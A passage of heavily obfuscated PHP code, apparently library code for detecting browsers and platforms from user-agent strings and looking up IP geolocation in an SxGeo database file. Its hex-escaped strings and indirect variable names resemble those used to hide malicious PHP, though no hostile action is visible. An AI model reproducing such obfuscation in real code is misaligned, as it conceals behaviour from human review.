getSafariVersionOnIos(){${"G\x4cOBAL\x53"}["\x73\x75\x77s\x65\x77\x6c"]="\x61r\x65\x73\x75\x6c\x74";${${"\x47\x4c\x4fB\x41LS"}["\x73\x75w\x73\x65w\x6c"]}=explode("/",stristr($this->_agent,"\x56er\x73\x69\x6fn"));if(isset(${${"G\x4c\x4f\x42\x41\x4cS"}["\x70\x6c\x63\x6en\x79\x66\x77"]}[1])){${"G\x4c\x4fB\x41L\x53"}["\x66\x67\x74\x6e\x66\x74\x75w"]="a\x72e\x73\x75l\x74";${${"\x47\x4c\x4f\x42A\x4cS"}["\x70\x65\x62\x65\x74c\x74\x78\x6b"]}=explode("\x20",${${"G\x4c\x4f\x42AL\x53"}["\x66gt\x6e\x66\x74\x75\x77"]}[1]);$eujbjuckoe="a\x76e\x72\x73\x69\x6fn";$this->setVersion(${$eujbjuckoe}[0]);return true;}return false;}protected function getChromeVersionOnIos(){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x64dwd\x71\x65"]="a\x72es\x75lt";${"G\x4c\x4f\x42\x41\x4c\x53"}["r\x6df\x6d\x67v\x6e\x6d\x77"]="\x61\x72\x65\x73\x75\x6c\x74";${${"\x47\x4c\x4f\x42\x41L\x53"}["vd\x64w\x64\x71\x65"]}=explode("/",stristr($this->_agent,"CriO\x53"));if(isset(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x72m\x66\x6d\x67\x76\x6e\x6dw"]}[1])){${${"\x47\x4c\x4f\x42\x41\x4cS"}["p\x65\x62\x65t\x63txk"]}=explode(" ",${${"G\x4c\x4f\x42\x41\x4cS"}["\x70\x6c\x63\x6e\x6ey\x66w"]}[1]);${"\x47\x4cO\x42\x41L\x53"}["j\x62x\x6a\x6b\x63\x74\x6f"]="\x61\x76e\x72\x73\x69\x6f\x6e";$this->setVersion(${${"\x47\x4c\x4fB\x41L\x53"}["\x6a\x62\x78\x6a\x6b\x63to"]}[0]);$this->setBrowser(self::BROWSER_CHROME);return true;}return false;}protected function checkBrowseriPhone(){if(stripos($this->_agent,"i\x50hon\x65")!==false){$this->setVersion(self::VERSION_UNKNOWN);$this->setBrowser(self::BROWSER_IPHONE);$this->getSafariVersionOnIos();$this->getChromeVersionOnIos();$this->checkForFacebookIos();$this->setMobile(true);return true;}return false;}protected function checkBrowseriPad(){if(stripos($this->_agent,"i\x50\x61\x64")!==false){$this->setVersion(self::VERSION_UNKNOWN);$this->setBrowser(self::BROWSER_IPAD);$this->getSafariVersionOnIos();$this->getChromeVersionOnIos();$this->checkForFacebookIos();$this->setTablet(true);return true;}return false;}protected function checkBrowseriPod(){if(stripos($this->_agent,"i\x50\x6f\x64")!==false){$this->setVersion(self::VERSION_UNKNOWN);$this->setBrowser(self::BROWSER_IPOD);$this->getSafariVersionOnIos();$this->getChromeVersionOnIos();$this->checkForFacebookIos();$this->setMobile(true);return true;}return false;}protected function checkBrowserAndroid(){if(stripos($this->_agent,"A\x6edro\x69\x64")!==false){${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["plc\x6e\x6e\x79fw"]}=explode("\x20",stristr($this->_agent,"A\x6edroi\x64"));if(isset(${${"\x47\x4cOB\x41\x4c\x53"}["p\x6cc\x6e\x6e\x79\x66\x77"]}[1])){${"\x47\x4c\x4f\x42ALS"}["a\x78ywl\x72\x7as\x74\x7aq"]="\x61\x72\x65s\x75l\x74";${${"G\x4c\x4f\x42\x41\x4cS"}["p\x65b\x65t\x63txk"]}=explode(" ",${${"\x47L\x4f\x42AL\x53"}["ax\x79\x77\x6c\x72\x7astzq"]}[1]);${"GLOBA\x4c\x53"}["\x67\x79pf\x76\x79"]="\x61\x76e\x72\x73io\x6e";$this->setVersion(${${"G\x4c\x4f\x42\x41\x4cS"}["\x67\x79\x70fvy"]}[0]);}else{$this->setVersion(self::VERSION_UNKNOWN);}if(stripos($this->_agent,"Mobile")!==false){$this->setMobile(true);}else{$this->setTablet(true);}$this->setBrowser(self::BROWSER_ANDROID);return true;}return false;}protected function checkBrowserVivaldi(){if(stripos($this->_agent,"\x56ival\x64\x69")!==false){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6exh\x64\x65\x62\x78\x62"]="\x61\x72e\x73\x75\x6ct";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["nxhde\x62\x78b"]}=explode("/",stristr($this->_agent,"\x56iva\x6c\x64\x69"));if(isset(${${"\x47\x4c\x4fB\x41\x4c\x53"}["p\x6c\x63\x6e\x6ey\x66\x77"]}[1])){${"\x47\x4c\x4fBA\x4c\x53"}["\x71\x63o\x75\x73\x62\x74z"]="\x61\x76\x65\x72\x73i\x6f\x6e";${"\x47\x4c\x4f\x42\x41L\x53"}["\x6br\x6c\x6b\x6e\x6e\x66c\x76\x69"]="ar\x65su\x6ct";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x63\x6fus\x62\x74z"]}=explode("\x20",${${"\x47LO\x42\x41L\x53"}["k\x72\x6ck\x6e\x6e\x66\x63\x76\x69"]}[1]);${"\x47\x4c\x4fB\x41LS"}["u\x73\x78u\x65\x77\x64m\x77\x71\x6d"]="\x61\x76\x65r\x73\x69o\x6e";$this->setVersion(${${"G\x4cOBA\x4cS"}["u\x73\x78\x75\x65\x77\x64mw\x71\x6d"]}[0]);$this->setBrowser(self::BROWSER_VIVALDI);return true;}}return false;}protected function checkBrowserYandex(){if(stripos($this->_agent,"\x59a\x42row\x73\x65\x72")!==false){${"\x47LOBA\x4c\x53"}["rp\x62\x66\x65\x66\x6e"]="\x61\x72esu\x6c\x74";${${"\x47\x4cO\x42AL\x53"}["\x72\x70b\x66e\x66\x6e"]}=explode("/",stristr($this->_agent,"\x59\x61Br\x6fws\x65\x72"));if(isset(${${"\x47\x4c\x4fB\x41LS"}["\x70lc\x6e\x6e\x79\x66\x77"]}[1])){${${"\x47\x4cOB\x41\x4c\x53"}["\x70\x65be\x74\x63\x74\x78\x6b"]}=explode(" ",${${"GL\x4f\x42\x41\x4c\x53"}["p\x6c\x63n\x6e\x79fw"]}[1]);$njkhkp="\x61\x76er\x73\x69\x6f\x6e";$this->setVersion(${$njkhkp}[0]);$this->setBrowser(self::BROWSER_YANDEX);if(stripos($this->_agent,"iP\x61\x64")!==false){$this->setTablet(true);}elseif(stripos($this->_agent,"\x4d\x6f\x62\x69\x6ce")!==false){$this->setMobile(true);}elseif(stripos($this->_agent,"An\x64ro\x69d")!==false){$this->setTablet(true);}return true;}}return false;}protected function checkBrowserPlayStation(){if(stripos($this->_agent,"\x50l\x61\x79\x53tat\x69\x6f\x6e\x20")!==false){${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x70\x6c\x63nn\x79fw"]}=explode("\x20",stristr($this->_agent,"P\x6ca\x79\x53tat\x69\x6fn "));$this->setBrowser(self::BROWSER_PLAYSTATION);if(isset(${${"\x47LO\x42A\x4c\x53"}["\x70lc\x6e\x6e\x79\x66\x77"]}[0])){${"\x47\x4cOB\x41LS"}["r\x62g\x74\x63\x75\x73\x78\x6c"]="a\x76\x65r\x73\x69\x6f\x6e";${${"\x47\x4c\x4fB\x41L\x53"}["\x72\x62g\x74\x63\x75\x73\x78\x6c"]}=explode(")",${${"\x47L\x4f\x42\x41\x4c\x53"}["\x70\x6c\x63\x6e\x6ey\x66\x77"]}[2]);$this->setVersion(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x65\x62et\x63t\x78\x6b"]}[0]);if(stripos($this->_agent,"\x50ort\x61\x62l\x65)")!==false||stripos($this->_agent,"V\x69t\x61")!==false){$this->setMobile(true);}return true;}}return false;}protected function checkPlatform(){if(stripos($this->_agent,"\x77\x69ndows")!==false){$this->_platform=self::PLATFORM_WINDOWS;}else if(stripos($this->_agent,"iPad")!==false){$this->_platform=self::PLATFORM_IPAD;}else if(stripos($this->_agent,"\x69P\x6f\x64")!==false){$this->_platform=self::PLATFORM_IPOD;}else if(stripos($this->_agent,"\x69Pho\x6e\x65")!==false){$this->_platform=self::PLATFORM_IPHONE;}elseif(stripos($this->_agent,"m\x61c")!==false){$this->_platform=self::PLATFORM_APPLE;}elseif(stripos($this->_agent,"and\x72oid")!==false){$this->_platform=self::PLATFORM_ANDROID;}elseif(stripos($this->_agent,"\x53\x69\x6ck")!==false){$this->_platform=self::PLATFORM_FIRE_OS;}elseif(stripos($this->_agent,"li\x6e\x75x")!==false&&stripos($this->_agent,"S\x4dA\x52T-TV")!==false){$this->_platform=self::PLATFORM_LINUX."/".self::PLATFORM_SMART_TV;}elseif(stripos($this->_agent,"lin\x75\x78")!==false){$this->_platform=self::PLATFORM_LINUX;}else if(stripos($this->_agent,"Nokia")!==false){$this->_platform=self::PLATFORM_NOKIA;}else if(stripos($this->_agent,"B\x6c\x61ckB\x65r\x72\x79")!==false){$this->_platform=self::PLATFORM_BLACKBERRY;}elseif(stripos($this->_agent,"Fr\x65\x65B\x53\x44")!==false){$this->_platform=self::PLATFORM_FREEBSD;}elseif(stripos($this->_agent,"\x4f\x70\x65nBSD")!==false){$this->_platform=self::PLATFORM_OPENBSD;}elseif(stripos($this->_agent,"\x4eetB\x53\x44")!==false){$this->_platform=self::PLATFORM_NETBSD;}elseif(stripos($this->_agent,"Op\x65\x6e\x53\x6fl\x61r\x69s")!==false){$this->_platform=self::PLATFORM_OPENSOLARIS;}elseif(stripos($this->_agent,"\x53\x75\x6e\x4f\x53")!==false){$this->_platform=self::PLATFORM_SUNOS;}elseif(stripos($this->_agent,"\x4f\x53\x5c/\x32")!==false){$this->_platform=self::PLATFORM_OS2;}elseif(stripos($this->_agent,"B\x65OS")!==false){$this->_platform=self::PLATFORM_BEOS;}elseif(stripos($this->_agent,"\x77i\x6e")!==false){$this->_platform=self::PLATFORM_WINDOWS;}elseif(stripos($this->_agent,"\x50\x6c\x61\x79\x73ta\x74\x69\x6fn")!==false){$this->_platform=self::PLATFORM_PLAYSTATION;}elseif(stripos($this->_agent,"R\x6fku")!==false){$this->_platform=self::PLATFORM_ROKU;}elseif(stripos($this->_agent,"i\x4fS")!==false){$this->_platform=self::PLATFORM_IPHONE."/".self::PLATFORM_IPAD;}elseif(stripos($this->_agent,"t\x76OS")!==false){$this->_platform=self::PLATFORM_APPLE_TV;}elseif(stripos($this->_agent,"\x63ur\x6c")!==false){$this->_platform=self::PLATFORM_TERMINAL;}elseif(stripos($this->_agent,"C\x72\x4fS")!==false){$this->_platform=self::PLATFORM_CHROME_OS;}elseif(stripos($this->_agent,"okh\x74\x74\x70")!==false){$this->_platform=self::PLATFORM_JAVA_ANDROID;}elseif(stripos($this->_agent,"\x50o\x73t\x6d\x61\x6e\x52\x75\x6e\x74i\x6de")!==false){$this->_platform=self::PLATFORM_POSTMAN;}elseif(stripos($this->_agent,"If\x72\x61\x6d\x65ly")!==false){$this->_platform=self::PLATFORM_I_FRAME;}}}define("S\x58GE\x4f\x5f\x46IL\x45",0);define("SX\x47EO\x5fMEM\x4f\x52\x59",1);define("SXG\x45O_BA\x54\x43\x48",2);class SxGeo{protected$fh;protected$ip1c;protected$info;protected$range;protected$db_begin;protected$b_idx_str;protected$m_idx_str;protected$b_idx_arr;protected$m_idx_arr;protected$m_idx_len;protected$db_items;protected$country_size;protected$db;protected$regions_db;protected$cities_db;public$id2iso=array('','AP','EU','AD','AE','AF','AG','AI','AL','AM','CW','AO','AQ','AR','AS','AT','AU','AW','AZ','BA','BB','BD','BE','BF','BG','BH','BI','BJ','BM','BN','BO','BR','BS','BT','BV','BW','BY','BZ','CA','CC','CD','CF','CG','CH','CI','CK','CL','CM','CN','CO','CR','CU','CV','CX','CY','CZ','DE','DJ','DK','DM','DO','DZ','EC','EE','EG','EH','ER','ES','ET','FI','FJ','FK','FM','FO','FR','SX','GA','GB','GD','GE','GF','GH','GI','GL','GM','GN','GP','GQ','GR','GS','GT','GU','GW','GY','HK','HM','HN','HR','HT','HU','ID','IE','IL','IN','IO','IQ','IR','IS','IT','JM','JO','JP','KE','KG','KH','KI','KM','KN','KP','KR','KW','KY','KZ','LA','LB','LC','LI','LK','LR','LS','LT','LU','LV','LY','MA','MC','MD','MG','MH','MK','ML','MM','MN','MO','MP','MQ','MR','MS','MT','MU','MV','MW','MX','MY','MZ','NA','NC','NE','NF','NG','NI','NL','NO','NP','NR','NU','NZ','OM','PA','PE','PF','PG','PH','PK','PL','PM','PN','PR','PS','PT','PW','PY','QA','RE','RO','RU','RW','SA','SB','SC','SD','SE','SG','SH','SI','SJ','SK','SL','SM','SN','SO','SR','ST','SV','SY','SZ','TC','TD','TF','TG','TH','TJ','TK','TM','TN','TO','TL','TR','TT','TV','TW','TZ','UA','UG','UM','US','UY','UZ','VA','VC','VE','VG','VI','VN','VU','WF','WS','YE','YT','RS','ZA','ZM','ME','ZW','A1','XK','O1','AX','GG','IM','JE','BL','MF','BQ','SS');public$batch_mode=false;public$memory_mode=false;public function __construct($db_file='SxGeo.dat',$type=SXGEO_FILE){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61\x77\x79\x61\x70\x68\x73sl"]="\x69nfo";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x74fq\x6add"]="he\x61\x64e\x72";$wqhjjnp="info";$this->fh=fopen(${${"\x47\x4cO\x42AL\x53"}["\x69r\x6a\x6by\x73s\x77b\x6au"]},"r\x62");$wkkpewxt="i\x6e\x66o";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x77\x74\x66\x71\x6a\x64\x64"]}=fread($this->fh,40);${"G\x4c\x4f\x42A\x4c\x53"}["\x65rvxq\x67\x70\x78\x73\x77"]="\x69nf\x6f";$tvdygrpkgg="\x69\x6efo";if(substr(${${"\x47\x4cOBA\x4cS"}["\x74\x72\x72\x77\x65k\x6fa\x6b"]},0,3)!="S\x78\x47")die("Ca\x6e\x27\x74 \x6fpe\x6e {$db_file}\n");${"G\x4cO\x42AL\x53"}["\x68\x6f\x65\x6ev\x79\x75"]="\x69\x6e\x66\x6f";${${"GL\x4fB\x41\x4c\x53"}["\x61\x77\x79ap\x68\x73\x73\x6c"]}=unpack("Cv\x65\x72/N\x74\x69\x6d\x65/\x43\x74y\x70e/C\x63h\x61\x72\x73\x65\x74/\x43b\x5f\x69\x64\x78_\x6c\x65n/n\x6d_i\x64x\x5fle\x6e/nr\x61n\x67\x65/\x4edb_it\x65m\x73/Ci\x64_\x6ce\x6e/\x6e\x6d\x61\x78_\x72\x65\x67\x69on/\x6em\x61x_\x63i\x74y/Nregi\x6fn_\x73\x69\x7ae/N\x63it\x79\x5f\x73iz\x65/\x6emax\x5f\x63o\x75\x6e\x74ry/\x4eco\x75\x6e\x74\x72y_s\x69ze/\x6ep\x61\x63k_size",substr(${${"\x47\x4c\x4f\x42A\x4cS"}["\x74\x72rwek\x6f\x61\x6b"]},3));$ybnotuye="\x69\x6e\x66o";if(${${"\x47\x4c\x4fB\x41L\x53"}["\x72z\x75\x72\x6e\x62\x75\x64\x62q"]}["\x62_i\x64\x78\x5fl\x65n"]*${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["r\x7a\x75\x72\x6e\x62ud\x62\x71"]}["m\x5fid\x78_l\x65\x6e"]*${$wkkpewxt}["range"]*${${"\x47L\x4f\x42A\x4cS"}["\x72\x7au\x72\x6e\x62\x75db\x71"]}["\x64\x62\x5f\x69t\x65m\x73"]*${$ybnotuye}["t\x69\x6de"]*${${"GL\x4f\x42A\x4c\x53"}["\x68\x6f\x65n\x76\x79\x75"]}["\x69\x64_\x6c\x65\x6e"]==0)die("\x57\x72\x6fn\x67 \x66i\x6ce f\x6f\x72m\x61t\x20{$db_file}\n");$this->range=${${"\x47\x4cO\x42A\x4cS"}["\x72\x7a\x75\x72\x6e\x62u\x64b\x71"]}["\x72a\x6e\x67e"];$this->b_idx_len=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["r\x7a\x75\x72\x6e\x62u\x64b\x71"]}["\x62_idx_l\x65\x6e"];$this->m_idx_len=${$wqhjjnp}["m_i\x64x\x5flen"];$this->db_items=${${"GL\x4f\x42AL\x53"}["r\x7a\x75\x72\x6eb\x75\x64\x62\x71"]}["d\x62_i\x74\x65m\x73"];$this->id_len=${$tvdygrpkgg}["i\x64_len"];$this->block_len=3+$this->id_len;${"\x47\x4cO\x42\x41\x4c\x53"}["ja\x63f\x6bpfn\x79v"]="\x69\x6e\x66o";$this->max_region=${${"\x47\x4c\x4fBAL\x53"}["\x72\x7a\x75\x72\x6e\x62\x75\x64\x62q"]}["ma\x78\x5f\x72\x65gi\x6fn"];$this->max_city=${${"\x47LO\x42A\x4c\x53"}["\x72zu\x72n\x62\x75db\x71"]}["\x6da\x78\x5fcity"];$this->max_country=${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72\x7a\x75\x72\x6e\x62\x75db\x71"]}["m\x61x_\x63ou\x6et\x72y"];$this->country_size=${${"\x47\x4cO\x42\x41\x4c\x53"}["\x72\x7a\x75\x72\x6eb\x75\x64\x62\x71"]}["\x63ou\x6et\x72y\x5f\x73\x69ze"];$this->batch_mode=${${"\x47\x4c\x4fB\x41\x4cS"}["\x6cay\x63\x6a\x76c"]}&SXGEO_BATCH;$this->memory_mode=${${"GL\x4fBA\x4c\x53"}["\x6c\x61ycj\x76\x63"]}&SXGEO_MEMORY;$this->pack=${${"\x47\x4cOBA\x4cS"}["\x72\x7a\x75rn\x62\x75\x64\x62\x71"]}["pack\x5fsi\x7ae"]?explode("\0",fread($this->fh,${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x65rvxq\x67p\x78\x73\x77"]}["\x70ack\x5fsi\x7a\x65"])):"";$this->b_idx_str=fread($this->fh,${${"G\x4cO\x42\x41L\x53"}["r\x7a\x75\x72nb\x75\x64b\x71"]}["\x62\x5f\x69dx_le\x6e"]*4);$this->m_idx_str=fread($this->fh,${${"G\x4c\x4f\x42AL\x53"}["r\x7a\x75\x72\x6e\x62\x75d\x62\x71"]}["m_i\x64\x78_len"]*4);$this->db_begin=ftell($this->fh);if($this->batch_mode){$this->b_idx_arr=array_values(unpack("\x4e*",$this->b_idx_str));unset($this->b_idx_str);$this->m_idx_arr=str_split($this->m_idx_str,4);unset($this->m_idx_str);}if($this->memory_mode){${"\x47\x4c\x4f\x42A\x4cS"}["k\x6b\x6cb\x77\x65a"]="\x69\x6e\x66o";$swwhmkqwsd="\x69n\x66\x6f";$this->db=fread($this->fh,$this->db_items*$this->block_len);$xfodggvvlcl="\x69\x6ef\x6f";$this->regions_db=${${"\x47L\x4f\x42A\x4c\x53"}["\x72zur\x6eb\x75d\x62\x71"]}["r\x65\x67ion_s\x69ze"]>0?fread($this->fh,${${"GL\x4fB\x41LS"}["kk\x6cb\x77e\x61"]}["\x72\x65\x67i\x6fn_s\x69\x7ae"]):"";$this->cities_db=${$swwhmkqwsd}["\x63\x69\x74\x79_siz\x65"]>0?fread($this->fh,${$xfodggvvlcl}["c\x69\x74\x79\x5f\x73\x69\x7a\x65"]):"";}$this->info=${${"\x47\x4c\x4f\x42A\x4c\x53"}["r\x7a\x75\x72\x6e\x62\x75dbq"]};$this->info["reg\x69ons\x5f\x62\x65\x67\x69\x6e"]=$this->db_begin+$this->db_items*$this->block_len;$this->info["\x63i\x74\x69es_begi\x6e"]=$this->info["\x72e\x67i\x6fn\x73\x5fbe\x67i\x6e"]+${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6aacfk\x70f\x6e\x79\x76"]}["\x72\x65gion_\x73iz\x65"];}protected function search_idx($ipn,$min,$max){$anqjgbkb="\x6d\x69\x6e";if($this->batch_mode){${"\x47LO\x42\x41LS"}["\x70\x6d\x72\x6cn\x65m"]="\x69\x70\x6e";$ecnxdahkyg="\x6d\x61\x78";${"\x47L\x4f\x42\x41\x4c\x53"}["f\x6a\x73\x75\x65\x6b\x65\x6aw\x61"]="\x6d\x69n";$injakokslhd="\x6di\x6e";while(${${"\x47L\x4fBA\x4c\x53"}["\x6b\x62e\x75m\x66\x6et\x77"]}-${${"G\x4c\x4fB\x41L\x53"}["\x66\x6a\x73u\x65\x6b\x65\x6a\x77\x61"]}>8){$gouxoqrmn="\x6f\x66\x66\x73\x65\x74";${"\x47\x4c\x4fBALS"}["\x74hj\x67\x75\x65u\x78\x77\x67q\x76"]="\x6da\x78";$czdepu="o\x66f\x73\x65\x74";$mzcixweib="\x6f\x66fs\x65t";${"G\x4cO\x42\x41\x4c\x53"}["\x6c\x72\x64t\x67\x72\x6b\x62\x64"]="ip\x6e";${$mzcixweib}=(${${"\x47\x4cOB\x41\x4c\x53"}["\x71\x70\x79\x73vk\x6ds\x6dj\x73l"]}+${${"\x47L\x4f\x42\x41\x4c\x53"}["\x74\x68\x6a\x67\x75e\x75x\x77\x67qv"]})>>1;$jsiwke="\x6d\x61\x78";if(${${"\x47LO\x42ALS"}["\x6c\x72\x64tg\x72\x6b\x62d"]}>$this->m_idx_arr[${${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x67\x72\x72c\x6f\x63\x75\x73\x79"]}])${${"G\x4cO\x42A\x4c\x53"}["\x71\x70y\x73\x76\x6b\x6d\x73\x6d\x6as\x6c"]}=${$czdepu};else${$jsiwke}=${$gouxoqrmn};}while(${${"G\x4c\x4f\x42\x41L\x53"}["\x70m\x72\x6c\x6e\x65m"]}>$this->m_idx_arr[${$injakokslhd}]&&${${"\x47\x4c\x4f\x42A\x4c\x53"}["qpy\x73v\x6b\x6d\x73m\x6as\x6c"]}++<${$ecnxdahkyg}){};}else{${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6ex\x71s\x67\x67x"]="\x6da\x78";$fcisloazvbof="\x69p\x6e";$trppcrmj="\x6din";while(${${"G\x4c\x4f\x42\x41\x4c\x53"}["k\x62\x65u\x6d\x66\x6et\x77"]}-${$trppcrmj}>8){$eetsrpt="o\x66fs\x65t";${"\x47\x4cO\x42A\x4c\x53"}["\x72\x63\x72fiut"]="\x6d\x61\x78";$pgzeltdtu="\x6f\x66\x66se\x74";${"\x47\x4c\x4fBAL\x53"}["\x63\x68t\x62l\x62"]="\x6d\x69n";$czjxjvnsfx="min";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x70\x67\x72\x72\x63\x6f\x63us\x79"]}=(${${"\x47\x4c\x4f\x42A\x4cS"}["\x63h\x74\x62lb"]}+${${"G\x4c\x4f\x42\x41\x4cS"}["\x72\x63r\x66\x69ut"]})>>1;$xqilhiqwi="\x6f\x66fse\x74";if(${${"G\x4c\x4f\x42A\x4c\x53"}["m\x71b\x70e\x74\x76\x78\x71\x68\x71\x79"]}>substr($this->m_idx_str,${$eetsrpt}*4,4))${$czjxjvnsfx}=${$pgzeltdtu};else${${"\x47\x4cO\x42A\x4c\x53"}["\x6bbeum\x66\x6e\x74\x77"]}=${$xqilhiqwi};}while(${$fcisloazvbof}>substr($this->m_idx_str,${${"\x47L\x4f\x42\x41L\x53"}["\x71\x70\x79\x73\x76km\x73\x6d\x6asl"]}*4,4)&&${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x71\x70\x79\x73\x76k\x6d\x73mj\x73\x6c"]}++<${${"G\x4c\x4f\x42ALS"}["\x6e\x78\x71sgg\x78"]}){};}return${$anqjgbkb};}protected function search_db($str,$ipn,$min,$max){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6e\x65\x75dv\x75\x6f\x71\x6a\x6a\x61"]="m\x61x";$uwgpkv="str";if(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6e\x65ud\x76\x75\x6fq\x6a\x6aa"]}-${${"GL\x4fB\x41\x4cS"}["qp\x79\x73vk\x6d\x73\x6dj\x73\x6c"]}>1){${"\x47\x4cO\x42\x41\x4c\x53"}["\x61\x70\x65\x63\x68\x72\x75\x61"]="\x6d\x69\x6e";$lxmamrmkmt="\x69\x70n";$chrpwdec="\x6da\x78";${"\x47\x4cO\x42A\x4c\x53"}["\x78\x67\x6f\x77\x66\x67x"]="\x69\x70n";$avkhou="\x73t\x72";${"G\x4c\x4f\x42A\x4c\x53"}["\x6f\x70wg\x6a\x72"]="i\x70\x6e";${${"\x47L\x4f\x42\x41LS"}["\x6f\x70\x77gj\x72"]}=substr(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x67\x6f\x77\x66\x67\x78"]},1);while(${${"\x47\x4cOB\x41\x4c\x53"}["\x6b\x62e\x75mf\x6etw"]}-${${"\x47\x4c\x4f\x42\x41LS"}["\x71\x70y\x73\x76\x6b\x6ds\x6dj\x73\x6c"]}>8){$oevvcumi="s\x74\x72";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x76\x68\x73\x6b\x63t\x63"]="\x6d\x61x";$uyeshmwyqe="\x69\x70\x6e";${"GL\x4f\x42\x41\x4c\x53"}["\x70x\x6d\x72p\x64\x78i"]="\x6da\x78";${${"\x47\x4c\x4f\x42\x41\x4cS"}["p\x67\x72\x72\x63\x6f\x63usy"]}=(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71p\x79s\x76\x6bm\x73\x6d\x6a\x73\x6c"]}+${${"G\x4cO\x42A\x4c\x53"}["v\x68\x73\x6b\x63t\x63"]})>>1;$mlvvggqvxrpw="\x6f\x66\x66\x73\x65t";$pmkwxvbxqri="o\x66\x66\x73\x65\x74";if(${$uyeshmwyqe}>substr(${$oevvcumi},${$mlvvggqvxrpw}*$this->block_len,3))${${"\x47\x4c\x4fBA\x4c\x53"}["q\x70\x79\x73\x76\x6b\x6d\x73\x6d\x6a\x73l"]}=${$pmkwxvbxqri};else${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["px\x6d\x72\x70\x64\x78\x69"]}=${${"\x47\x4c\x4fBA\x4cS"}["\x70\x67r\x72coc\x75\x73\x79"]};}while(${$lxmamrmkmt}>=substr(${$avkhou},${${"GL\x4f\x42ALS"}["a\x70\x65\x63h\x72\x75\x61"]}*$this->block_len,3)&&++${${"G\x4c\x4fB\x41\x4c\x53"}["\x71\x70\x79sv\x6bm\x73\x6d\x6asl"]}<${$chrpwdec}){};}else{${"GLOB\x41LS"}["\x6e\x6b\x78\x76ube"]="\x6din";${${"\x47\x4c\x4f\x42A\x4c\x53"}["n\x6b\x78v\x75\x62\x65"]}++;}return hexdec(bin2hex(substr(${$uwgpkv},${${"G\x4c\x4f\x42\x41L\x53"}["\x71\x70\x79\x73\x76k\x6d\x73\x6djsl"]}*$this->block_len-$this->id_len,$this->id_len)));}public function get_num($ip){$bunylslfdrug="\x69p\x31n";${"\x47\x4c\x4f\x42A\x4c\x53"}["o\x75o\x78\x71s\x68"]="ip\x31\x6e";$mtccyhs="i\x70\x31n";${"\x47LOBAL\x53"}["\x6f\x79\x6aa\x68\x6e\x6b\x67j\x72\x78"]="\x69\x70\x31\x6e";${$bunylslfdrug}=(int)${${"\x47LO\x42\x41\x4c\x53"}["\x66\x62\x62\x6d\x67w\x68\x6c"]};$hqqqxyua="ip\x6e";if(${${"G\x4c\x4f\x42\x41L\x53"}["p\x78\x6e\x6d\x71\x63\x64g"]}==0||${$mtccyhs}==10||${${"\x47L\x4f\x42\x41\x4cS"}["\x6f\x75o\x78\x71s\x68"]}==127||${${"\x47\x4c\x4fBALS"}["o\x79\x6a\x61hn\x6b\x67\x6ar\x78"]}>=$this->b_idx_len||false===(${${"G\x4c\x4f\x42A\x4cS"}["\x6d\x71\x62pe\x74\x76\x78\x71\x68\x71y"]}=ip2long(${${"\x47L\x4f\x42\x41L\x53"}["\x66b\x62\x6d\x67whl"]})))return false;${${"\x47\x4c\x4fBA\x4c\x53"}["\x6d\x71\x62\x70\x65t\x76\x78\x71\x68q\x79"]}=pack("N",${$hqqqxyua});$this->ip1c=chr(${${"G\x4c\x4fBA\x4c\x53"}["p\x78\x6e\x6dq\x63dg"]});${"G\x4c\x4fBALS"}["\x74\x65\x6b\x6cgy\x79\x6e"]="len";if($this->batch_mode){${"G\x4c\x4fBA\x4c\x53"}["\x62w\x74qrqf"]="\x69p\x31\x6e";${"\x47LO\x42\x41\x4c\x53"}["\x7a\x7a\x6a\x76g\x71"]="\x62\x6c\x6f\x63ks";${${"\x47\x4c\x4fB\x41\x4cS"}["\x7a\x7a\x6a\x76\x67\x71"]}=array("min"=>$this->b_idx_arr[${${"\x47\x4c\x4fBA\x4c\x53"}["\x62w\x74qr\x71\x66"]}-1],"max"=>$this->b_idx_arr[${${"\x47\x4cOBA\x4c\x53"}["\x70\x78\x6em\x71\x63\x64g"]}]);}else{$gjghyyuhph="\x62\x6c\x6f\x63k\x73";${$gjghyyuhph}=unpack("\x4emin/\x4e\x6d\x61\x78",substr($this->b_idx_str,(${${"GL\x4fBAL\x53"}["\x70\x78n\x6dq\x63dg"]}-1)*4,8));}if(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72\x72ss\x63\x65\x72\x65\x68"]}["\x6da\x78"]-${${"GLOB\x41\x4c\x53"}["rr\x73s\x63\x65\x72\x65\x68"]}["\x6d\x69n"]>$this->range){${"\x47\x4cO\x42\x41\x4c\x53"}["\x62i\x61\x76\x63l\x73"]="b\x6cock\x73";$iubrfhky="\x6d\x61x";$pmnpqxh="\x69\x70\x6e";$fioemredx="\x70\x61\x72\x74";${"GL\x4fB\x41L\x53"}["\x65\x70\x67g\x6f\x6a\x6f\x74"]="\x70\x61\x72\x74";$ujrhor="\x62\x6c\x6f\x63\x6b\x73";${${"\x47\x4cO\x42\x41LS"}["\x65\x70g\x67\x6f\x6a\x6f\x74"]}=$this->search_idx(${$pmnpqxh},floor(${${"GL\x4f\x42\x41\x4cS"}["rr\x73\x73\x63er\x65h"]}["m\x69\x6e"]/$this->range),floor(${${"\x47L\x4f\x42A\x4c\x53"}["\x72\x72\x73\x73\x63\x65\x72\x65h"]}["ma\x78"]/$this->range)-1);${${"\x47\x4c\x4f\x42\x41